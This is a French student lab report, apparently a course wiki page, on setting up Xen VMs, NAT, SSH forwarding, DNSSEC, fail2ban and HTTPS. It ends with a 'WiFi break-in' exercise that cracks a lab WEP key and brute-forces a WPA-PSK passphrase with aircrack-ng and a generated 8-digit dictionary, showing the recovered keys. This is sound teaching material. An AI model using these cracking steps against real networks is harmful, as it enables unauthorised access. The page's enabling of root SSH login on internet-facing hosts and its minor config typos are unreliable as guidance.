root@capbreton:~# xen-create-image --hostname=SE4.superman --dhcp --bridge=pont_ironman --dir=/usr/local/xen --size=10GB --dist=excalibur --memory=2G&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Ces commandes vous donnent un tableau récapitulatif avec un le &#039;&#039;&#039;root password&#039;&#039;&#039; qu&#039;il faut noter pour pouvoir vous connecter (ce mdp est retrouvable dans le .cfg de la machine). Si vous souhaitez changer le mdp de votre machine, veiller à mettre un mdp &#039;&#039;&#039;robuste&#039;&#039;&#039; car cette machine sera sur internet.&lt;br /&gt;
&lt;br /&gt;
xen create permet de &#039;&#039;&#039;démarrer les machines&#039;&#039;&#039; avec leur fichiers de configuration :&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
xen create /etc/xen/SE4.batman.cfg&lt;br /&gt;
xen create /etc/xen/SE4.catwoman.cfg&lt;br /&gt;
xen create /etc/xen/SE4.superman.cfg&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;xen console permet d&#039;&amp;lt;nowiki/&amp;gt;&#039;&#039;&#039;accéder à la console de la machine virtuelle&#039;&#039;&#039; (pour quitter la console un exit suffit et pour quitter la saisie de connection &#039;&#039;&#039;Ctrl + Shift + 5&#039;&#039;&#039;) :&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
xen console SE4.batman&lt;br /&gt;
xen console SE4.catwoman&lt;br /&gt;
xen console SE4.superman&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Configuration de la machine de services ==&lt;br /&gt;
&lt;br /&gt;
=== Montage des partitions /home et /var ===&lt;br /&gt;
&lt;br /&gt;
==== Sur capbreton ====&lt;br /&gt;
&lt;br /&gt;
Pour &#039;&#039;&#039;créer les partitions&#039;&#039;&#039; /home et /var on entre les deux commandes suivantes dans &amp;lt;code&amp;gt;/dev/virtual&amp;lt;/code&amp;gt; de capbreton :&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
lvcreate -n SE4.batman.home -L 10G virtual&lt;br /&gt;
lvcreate -n SE4.batman.var -L 10G virtual&lt;br /&gt;
             &lt;br /&gt;
                &lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Ensuite on vient ajouter les lignes suivante dans &amp;lt;code&amp;gt;/etc/xen/batman.cfg&amp;lt;/code&amp;gt; :&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
disk        = [&lt;br /&gt;
                  &#039;file:/usr/local/xen/domains/SE4.batman/disk.img,xvda2,w&#039;,&lt;br /&gt;
                  &#039;file:/usr/local/xen/domains/SE4.batman/swap.img,xvda1,w&#039;,&lt;br /&gt;
                  &#039;phy:/dev/virtual/SE4.batman.home,xvdb,w&#039;,&lt;br /&gt;
                  &#039;phy:/dev/virtual/SE4.batman.var,xvdc,w&#039;,&lt;br /&gt;
              ]&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Sur la machine de service ====&lt;br /&gt;
&lt;br /&gt;
Pour &#039;&#039;&#039;formater et monter&#039;&#039;&#039; les partitions nous utilisons les commandes suivantes (&#039;&#039;&#039;/!\ pas dans capbreton&#039;&#039;&#039;) :&amp;lt;syntaxhighlight&amp;gt;&lt;br /&gt;
mkfs -t ext4 /dev/xvdb&lt;br /&gt;
mkfs -t ext4 /dev/xvdc&lt;br /&gt;
mount /dev/xvdb /mnt&lt;br /&gt;
mv /var/* /mnt&lt;br /&gt;
umount /mnt&lt;br /&gt;
mount -a&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Ajouter ces lignes dans &amp;lt;code&amp;gt;/etc/fstab&amp;lt;/code&amp;gt; afin que les partitions soient &#039;&#039;&#039;montées de façon automatiques&#039;&#039;&#039; au démarrage de la VM :&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
/dev/xvdb /var ext4 defaults 0 2&lt;br /&gt;
/dev/xvdc /home ext4 defaults 0 2&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Enfin vous pouvez &#039;&#039;&#039;redémarrer&#039;&#039;&#039; la VM sur capbreton : &amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
xen shutdown SE4.batman&lt;br /&gt;
xen create /etc/xen/SE4.batman.cfg&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Configuration réseau ===&lt;br /&gt;
On modifie le fichier &amp;lt;code&amp;gt;/etc/network/interfaces&amp;lt;/code&amp;gt; comme suivant :&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
auto lo&lt;br /&gt;
iface lo inet loopback&lt;br /&gt;
&lt;br /&gt;
# IPv4&lt;br /&gt;
auto eth0&lt;br /&gt;
iface eth0 inet static&lt;br /&gt;
    address 192.168.69.2/24 IPv4 de batman (service)&lt;br /&gt;
    gateway 192.168.69.1 IPv4 de superman (mandataire)&lt;br /&gt;
&lt;br /&gt;
# IPv6&lt;br /&gt;
auto eth1&lt;br /&gt;
iface eth1 inet6 auto&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Configuration de la machine mandataire ==&lt;br /&gt;
On modifie le fichier &amp;lt;code&amp;gt;/etc/network/interfaces&amp;lt;/code&amp;gt; comme suivant :&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
auto lo&lt;br /&gt;
iface lo inet loopback&lt;br /&gt;
&lt;br /&gt;
# IPv4&lt;br /&gt;
auto eth0&lt;br /&gt;
iface eth0 inet static&lt;br /&gt;
    address 192.168.69.1/24 # IPv4 de superman (mandataire)&lt;br /&gt;
&lt;br /&gt;
auto eth1&lt;br /&gt;
iface eth1 inet static&lt;br /&gt;
    address 193.48.57.169/27 # IPv4 publique de superman&lt;br /&gt;
    gateway 193.48.57.162&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;On modifie le fichier &amp;lt;code&amp;gt;/etc/xen/SE4.batman.cfg&amp;lt;/code&amp;gt; sur capbreton&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
vif = [ &#039;mac=00:16:3E:FA:18:CF,bridge=pont_ironman&#039;, &#039;mac=00:16:3E:FA:18:D0,bridge=SE4&#039; ]&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Une fois cela fait on peut &#039;&#039;&#039;redémarrer&#039;&#039;&#039; la VM avec les commandes précédentes. Ensuite sur batman on doit lancer l&#039;interface :&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
reboot&lt;br /&gt;
ifdown eth1; ifup eth1&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
== Configuration SSH et Mascarade ==&lt;br /&gt;
Ces commandes permettent de &#039;&#039;&#039;synchroniser l&#039;heure&#039;&#039;&#039; du système :&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
apt update&lt;br /&gt;
apt install ntp ntpdate host&lt;br /&gt;
apt install ntpsec ntpsec-ntpdate host&lt;br /&gt;
date &lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
La mascarade se configure avec &#039;&#039;&#039;iptables&#039;&#039;&#039;, et consiste à donne une adresse IPv4 qui permet d&#039;accéder à internet. &amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
iptables -t nat -A POSTROUTING -j MASQUERADE -s 192.168.69.0/24&lt;br /&gt;
iptables-save&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Dans les &#039;&#039;&#039;trois VMs&#039;&#039;&#039; on modifie &amp;lt;code&amp;gt;/etc/ssh/sshd_config&amp;lt;/code&amp;gt; en ajoutant :&lt;br /&gt;
 PermitRootLogin yes&lt;br /&gt;
On peut ensuite &#039;&#039;&#039;redémarrer&#039;&#039;&#039; le service ssh :&lt;br /&gt;
 /etc/init.d/ssh restart&lt;br /&gt;
La &#039;&#039;&#039;redirection du port ssh&#039;&#039;&#039; ce fait via les commandes suivantes sur la machine mandataire :&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
iptables -t nat -A PREROUTING -p tcp --dport 2202 -j DNAT --to-destination 192.168.69.2:22&lt;br /&gt;
iptables -t nat -A PREROUTING -p tcp --dport 2203 -j DNAT --to-destination 192.168.69.3:22&lt;br /&gt;
iptables-save&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Dans le fichier &amp;lt;code&amp;gt;/etc/sysctl.conf&amp;lt;/code&amp;gt; la ligne suivante doit être &#039;&#039;&#039;décommentée&#039;&#039;&#039; :&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
net.ipv4.ip_forward=1&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Nous avons aussi installer &amp;lt;code&amp;gt;iptables-persistent&amp;lt;/code&amp;gt; pour éviter de perdre la configuration à chaque reboot.&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
apt install iptables-persistant&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Désormais le ssh peut être fait via les commandes suivantes :&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# ssh en IPV4&lt;br /&gt;
ssh root@&amp;lt;add_ipv4&amp;gt; -p 2202&lt;br /&gt;
# ssh en IPV6&lt;br /&gt;
ssh root@&amp;lt;add_ipv6&amp;gt;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== DNS ==&lt;br /&gt;
On modifie le fichier &amp;lt;code&amp;gt;/etc/bind/named.conf.local&amp;lt;/code&amp;gt;  afin de fait passer par notre DNS et d&#039;avoir le second DNS en backup :&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
dnssec-policy &amp;quot;dnspol&amp;quot; {&lt;br /&gt;
        keys {&lt;br /&gt;
                ksk key-directory lifetime unlimited algorithm 13;&lt;br /&gt;
                zsk key-directory lifetime unlimited algorithm 13;&lt;br /&gt;
        };&lt;br /&gt;
        nsec3param;&lt;br /&gt;
};&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
zone &amp;quot;deadpool.tech&amp;quot; {&lt;br /&gt;
        type master;&lt;br /&gt;
        file &amp;quot;/etc/bind/db.deadpool.tech&amp;quot;;&lt;br /&gt;
        allow-transfer{secondaries;};&lt;br /&gt;
        notify yes;&lt;br /&gt;
        key-directory &amp;quot;/etc/bind/keys&amp;quot;;&lt;br /&gt;
        dnssec-policy &amp;quot;dnspol&amp;quot;;&lt;br /&gt;
        inline-signing yes;&lt;br /&gt;
};&lt;br /&gt;
&lt;br /&gt;
acl &amp;quot;secondaries&amp;quot; {&lt;br /&gt;
        192.168.69.3;&lt;br /&gt;
        2001:660:4401:60a0:216:3eff:fe8f:4743;&lt;br /&gt;
};&lt;br /&gt;
&lt;br /&gt;
zone &amp;quot;dardevil.tech&amp;quot; {&lt;br /&gt;
        type secondary;&lt;br /&gt;
        file &amp;quot;/etc/bind/backup/db.dardevil.tech&amp;quot;;&lt;br /&gt;
        masters{2001:660:4401:60a0:216:3eff:fe8f:4743;};&lt;br /&gt;
};&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Création d&#039;un dossier zones dans &amp;lt;code&amp;gt;/etc/bind&amp;lt;/code&amp;gt; et y créer le fichier &amp;lt;code&amp;gt;db.deadpool.tech&amp;lt;/code&amp;gt;&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
$TTL 400&lt;br /&gt;
&lt;br /&gt;
@ IN SOA ns.deadpool.tech. admin.deadpool.tech. (&lt;br /&gt;
        3609      ; Version&lt;br /&gt;
        21600     ; Refresh&lt;br /&gt;
        3600      ; Retry&lt;br /&gt;
        2592000   ; Expire&lt;br /&gt;
        86400     ; Minimum TTL&lt;br /&gt;
&lt;br /&gt;
);&lt;br /&gt;
&lt;br /&gt;
@ IN NS ns.dardevil.tech.&lt;br /&gt;
@ IN NS ns.deadpool.tech.&lt;br /&gt;
&lt;br /&gt;
ns IN A 193.48.57.169&lt;br /&gt;
ns IN AAAA 2001:660:4401:60a0:216:3eff:fe8f:4743&lt;br /&gt;
@ IN A 193.48.57.169&lt;br /&gt;
@ IN AAAA 2001:660:4401:60a0:216:3eff:fe8f:4743&lt;br /&gt;
&lt;br /&gt;
www IN CNAME deadpool.tech.&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
Modification du fichier &amp;lt;code&amp;gt;/etc/resolv.conf&amp;lt;/code&amp;gt; (il faut &#039;&#039;&#039;commenter&#039;&#039;&#039; tous les autres servers)&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
search deadpool.tech&lt;br /&gt;
search dardevil.tech&lt;br /&gt;
nameserver 192.168.69.2&lt;br /&gt;
nameserver 192.168.69.3&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Creation d&#039;un repertoire keys avec les droits nécessaires :&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
mkdir /etc/bind/keys &lt;br /&gt;
chown bind:bind /etc/bind/keys &lt;br /&gt;
chmod 750 /etc/bind/keys&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Si il y a des erreurs la commande suivante permet de les identifier&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
named-checkconf /etc/bind/named.conf&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Pour tester le DNS depuis la machine de service&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
dig @localhost deadpool.tech&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Modification sur Gandi au niveau des deux noms de domaine&lt;br /&gt;
&lt;br /&gt;
Création d&#039;un blue record pour chacun des noms de domaine&amp;lt;syntaxhighlight&amp;gt;&lt;br /&gt;
ns.deadpool.tech&lt;br /&gt;
193.48.57.169 // adresse IPv4 de la mandataire&lt;br /&gt;
2001:660:4401:60a0:216:3eff:fefa:18d0 // adresse IPv6 de la machine de service&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Ajout de external nameserver pour chacun des deux noms de domaine&amp;lt;syntaxhighlight&amp;gt;&lt;br /&gt;
ns.deadpool.tech	// nom de domaine&lt;br /&gt;
ns.dardevil.tech	// l&#039;autre nom de domaine&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Pour tester depuis l&#039;extérieur&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
dig deadpool.tech&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Pour &#039;&#039;&#039;restart&#039;&#039;&#039; le service&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
service named restart&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Génération de la clé pour le certificat sur batman&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
openssl req -nodes -newkey rsa:2048 -sha256 -keyout deadpool.tech.key -out ddeadpool.csr&lt;br /&gt;
&lt;br /&gt;
Country Name (2 letter code) [AU]:FR&lt;br /&gt;
State or Province Name (full name) [Some-State]:Nord&lt;br /&gt;
Locality Name (eg, city) []:Lille&lt;br /&gt;
Organization Name (eg, company) [Internet Widgits Pty Ltd]:PolytechLille&lt;br /&gt;
Organizational Unit Name (eg, section) []:IOT&lt;br /&gt;
Common Name (e.g. server FQDN or YOUR name) []:deadpool.tech&lt;br /&gt;
Email Address []:antonin.biernacki@polytech-lille.net&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Sur catwoman&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
openssl req -nodes -newkey rsa:2048 -sha256 -keyout dardevil.tech.key -out dardevil.csr&lt;br /&gt;
&lt;br /&gt;
Country Name (2 letter code) [AU]:FR&lt;br /&gt;
State or Province Name (full name) [Some-State]:Nord&lt;br /&gt;
Locality Name (eg, city) []:Lille&lt;br /&gt;
Organization Name (eg, company) [Internet Widgits Pty Ltd]:PolytechLille&lt;br /&gt;
Organizational Unit Name (eg, section) []:IOT&lt;br /&gt;
Common Name (e.g. server FQDN or YOUR name) []:dardevil.tech&lt;br /&gt;
Email Address []:billel.cheklat@polytech-lille.net&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;On peut pour finir &#039;&#039;&#039;vérifier&#039;&#039;&#039; le bon fonctionnement de notre DNS via le site [https://dnsviz.net/ dnsviz]. Avec notre nom de domaine nous obtenons le graphe suivant :&lt;br /&gt;
[[Fichier:Deadpool.tech-2026-02-18-08 31 41-UTC.png|centré|vignette]]&lt;br /&gt;
&lt;br /&gt;
== Fail2ban ==&lt;br /&gt;
Il faut commencer par installer fail2ban&lt;br /&gt;
&lt;br /&gt;
Ensuite il faut créer un fichier &amp;lt;code&amp;gt;jail.local&amp;lt;/code&amp;gt; dans le dossier &amp;lt;code&amp;gt;/etc/fail2ban&amp;lt;/code&amp;gt;&lt;br /&gt;
&amp;lt;syntaxhighlight&amp;gt;&lt;br /&gt;
[sshd] &lt;br /&gt;
enable = true&lt;br /&gt;
port = ssh&lt;br /&gt;
filter = sshd&lt;br /&gt;
maxretry = 5&lt;br /&gt;
findtime = 300&lt;br /&gt;
bantime = 600&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Pour éviter un warning sur allowipv6 il faut décommenter les lignes suivantes dans &amp;lt;code&amp;gt;fail2ban.conf&amp;lt;/code&amp;gt; (ligne 58 à 62)&amp;lt;syntaxhighlight&amp;gt;&lt;br /&gt;
Option: allowipv6&lt;br /&gt;
Notes.: Allows IPv6 interface:&lt;br /&gt;
         Default: auto&lt;br /&gt;
Values: [ auto yes (on, true, 1) no (off, false, 0) ] Default: auto&lt;br /&gt;
allowipv6 = auto&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Enfin pour &#039;&#039;&#039;lancer le service&#039;&#039;&#039; il faut rentrer la commande suivante :&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
service fail2ban restart&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== HTTPS ==&lt;br /&gt;
Dans le dossier &amp;lt;code&amp;gt;/etc/apache2/sites-available&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
On met la clef &#039;&#039;&#039;deadpool.tech.key&#039;&#039;&#039; et les certificats &#039;&#039;&#039;GandiCert.pem&#039;&#039;&#039; et &#039;&#039;&#039;deadpool.tech.crt&#039;&#039;&#039; (tout a été trouvé sur Gandi)&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;VirtualHost *:80&amp;gt;&lt;br /&gt;
        ServerName deadpool.tech&lt;br /&gt;
        ServerAlias www.deadpool.tech&lt;br /&gt;
        Redirect permanent / https://deadpool.tech/&lt;br /&gt;
&amp;lt;/VirtualHost&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;VirtualHost *:443&amp;gt;&lt;br /&gt;
        ServerAdmin webmaster@localhost&lt;br /&gt;
&lt;br /&gt;
        DocumentRoot /var/www/html&lt;br /&gt;
        &lt;br /&gt;
        ErrorLog ${APACHE_LOG_DIR}/error.log&lt;br /&gt;
        CustomLog ${APACHE_LOG_DIR}/access.log combined&lt;br /&gt;
        &lt;br /&gt;
        SSLEngine on&lt;br /&gt;
        &lt;br /&gt;
        SSLCertificateFile      /etc/apache2/sites-available/deadpool.tech.crt&lt;br /&gt;
        SSLCertificateKeyFile   /etc/apache2/sites-available/deadpool.tech.key&lt;br /&gt;
        SSLCertificateChainFile /etc/apache2/sites-available/GandiCert.pem&lt;br /&gt;
        &lt;br /&gt;
        &amp;lt;FilesMatch &amp;quot;\.(?:cgi|shtml|phtml|php)$&amp;quot;&amp;gt;&lt;br /&gt;
                SSLOptions +StdEnvVars&lt;br /&gt;
        &amp;lt;/FilesMatch&amp;gt;&lt;br /&gt;
        &amp;lt;Directory /usr/lib/cgi-bin&amp;gt;&lt;br /&gt;
                SSLOptions +StdEnvVars&lt;br /&gt;
        &amp;lt;/Directory&amp;gt;&lt;br /&gt;
        &lt;br /&gt;
    &amp;lt;/VirtualHost&amp;gt;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
On entre ensuite les commande suivantes :&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
a2enmod ssl&lt;br /&gt;
service apache restart&lt;br /&gt;
a2ensite default-ssl.conf&lt;br /&gt;
service apache2 reload&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Effraction WIFI ==&lt;br /&gt;
&lt;br /&gt;
=== Cassage de clef WEP d’un point d’accès WiFi ===&lt;br /&gt;
&#039;&#039;&#039;/!\&#039;&#039;&#039; Dans notre cas la carte réseau de notre zabeth ne fonctionnait plus (ce cas est courant).&lt;br /&gt;
&lt;br /&gt;
Mr Redon nous a donc fournit une &#039;&#039;&#039;clé USB Wifi&#039;&#039;&#039; pour pouvoir travailler. &lt;br /&gt;
&lt;br /&gt;
De plus les cracotte s&#039;arrête au 13 donc je dois prendre la &#039;&#039;&#039;cracotte02&#039;&#039;&#039;.&lt;br /&gt;
&lt;br /&gt;
La commande suivante permet de d&#039;&#039;&#039;&#039;identifier l&#039;interface WIFI&#039;&#039;&#039; qui nous intéresse :&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
ip link&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Ici l&#039;interface qui nous intéresse est wlx40a5efd21410. Donc nous pouvons lancer la commande suivante afin d&#039;&amp;lt;nowiki/&amp;gt;&#039;&#039;&#039;identifier l&#039;adresse IP de notre cracotte02&#039;&#039;&#039;.&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
sudo airodump-ng wlx40a5efd21410&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Dans la liste nous avons en effet la cracotte02 sur le channel 4 et l&#039;adresse ip suivante :&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
 04:DA:D2:9C:50:51  -62      231        0    0   4   54e. WEP  WEP         cracotte02&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Enfin nous pouvons &#039;&#039;&#039;lancer le cassage&#039;&#039;&#039; de la clé avec cette commande :&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
sudo airodump-ng wlx40a5efd21410 --bssid 04:DA:D2:9C:50:51 -c4 --write log_airodump&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Le nombre de la section DATA doit augmenter asser vite (sinon il y a un problème) :&lt;br /&gt;
&lt;br /&gt;
Après un certain temps on peut entrer la commande suivante pour &#039;&#039;&#039;voir si la clé à été trouvée&#039;&#039;&#039; (le numéro, ici 5, dépend du nombre de fois ou la commande précédente a été lancé) :&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
aircrack-ng log_airodump-05.cap&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Le résultat suivant est le bon on a un &#039;&#039;&#039;KEY FOUND&#039;&#039;&#039; !!&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
                                                                                                 Aircrack-ng 1.7&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
                                                                                   [00:00:00] Tested 808 keys (got 54157 IVs)&lt;br /&gt;
&lt;br /&gt;
   KB    depth   byte(vote)&lt;br /&gt;
    0    0/ 13   FF(75008) AF(66048) C6(65536) A6(62464) E3(61952) 20(61696) EC(61696) E8(61440) 13(61184) 30(61184) F3(61184) FD(60928) F1(60672) 27(60416) 41(60416) 5D(60416) 8D(60416)&lt;br /&gt;
    1    0/  1   01(81152) 78(64256) 13(63232) AC(63232) E6(62720) 48(61952) 91(61952) 92(61696) AB(61696) 74(61440) 56(61184) A8(61184) 4A(60928) C9(60928) 17(60672) 35(60416) F2(60416)&lt;br /&gt;
    2    9/  2   D2(60416) D5(60160) DF(60160) 44(59904) 7A(59904) 99(59904) AD(59904) 15(59648) 2A(59648) 31(59648) 67(59648) E6(59648) 0D(59392) 16(59392) 7E(59392) DC(59392) 5B(59136)&lt;br /&gt;
    3    0/  1   08(79360) 1D(63744) 7D(61952) 1B(61184) CB(60928) A3(60672) 85(60160) 58(59904) AC(59904) 11(59648) 53(59648) 9C(59648) EA(59648) 81(59392) 84(59392) AA(59392) B1(59392)&lt;br /&gt;
    4    8/  4   9A(61440) 22(61184) DB(61184) D7(60928) 48(60672) 88(60672) 36(60416) 14(59904) 57(59904) 5C(59904) 8D(59904) CF(59904) 04(59136) 20(58880) 39(58880) B4(58880) D5(58880)&lt;br /&gt;
&lt;br /&gt;
             KEY FOUND! [ FF:FF:FF:FF:FA:BC:03:CB:AE:EE:EE:EE:EE ]&lt;br /&gt;
        Decrypted correctly: 100%&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Cassage de mot de passe WPA-PSK par force brute ===&lt;br /&gt;
On s&#039;intéresse maintenant à la &#039;&#039;&#039;kracotte02&#039;&#039;&#039; (information trouvable par la commande de la section précédente) :&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
44:AD:D9:5F:87:01  -47        5        0    0  13   54e. WPA2 CCMP   PSK  kracotte02&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Pour forcer ce mot de passe par force brut nous créons via un &#039;&#039;&#039;fichier Python&#039;&#039;&#039; un dictionnaire contenant &#039;&#039;&#039;toutes les possibilités sur 8 chiffres&#039;&#039;&#039;. Le contenu de ce fichier est le suivant :&amp;lt;syntaxhighlight lang=&amp;quot;python3&amp;quot;&amp;gt;&lt;br /&gt;
with open(&amp;quot;dictionnaire_8_chiffres.txt&amp;quot;, &amp;quot;w&amp;quot;) as f:&lt;br /&gt;
    for i in range(100000000):&lt;br /&gt;
        f.write(f&amp;quot;{i:08d}\n&amp;quot;)&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
Lancer ce programme afin de créer le fichier dictionnaire_8_chiffres.txt.&lt;br /&gt;
&lt;br /&gt;
La commande suivante est nécessaire pour que aircrack-ng utilise notre dictionnaire :&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
sudo aircrack-ng -w dictionnaire_8_chiffres.txt -b 44:AD:D9:5F:87:01&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Nous pouvons enfin &#039;&#039;&#039;lancer le cassage du mot de passe&#039;&#039;&#039; par force brute via cette commande :&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
sudo airodump-ng wlx40a5efd21410 --write airodumpWPA --bssid 44:AD:D9:5F:87:01 -c13&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;La commande ci-dessous permet de &#039;&#039;&#039;savoir si le mot de passe à été trouvé&#039;&#039;&#039; (/!\ cela peut prendre du temps selon la valeur de la clé, dans notre cas plus de 30min) :&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
sudo aircrack-ng -w dictionnaire_8_chiffres.txt -b 44:AD:D9:5F:87:01 airodumpWPA-03.cap&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Nous avons le bon résultat un nouveau &#039;&#039;&#039;KEY FOUND&#039;&#039;&#039; !!&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
&lt;br /&gt;
                               Aircrack-ng 1.7&lt;br /&gt;
&lt;br /&gt;
      [00:37:28] 66655552/100000000 keys tested (29360.85 k/s)&lt;br /&gt;
&lt;br /&gt;
      Time left: 18 minutes, 55 seconds                         66.66%&lt;br /&gt;
&lt;br /&gt;
                           KEY FOUND! [ 66688666 ]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
      Master Key     : A4 3E 9E 85 7D D3 4E 0C 2C D4 D9 1C 4F 08 1A 0C&lt;br /&gt;
                       B4 BA B2 64 8C 24 38 C5 DD 27 81 8E CE 2C F4 CA&lt;br /&gt;
&lt;br /&gt;
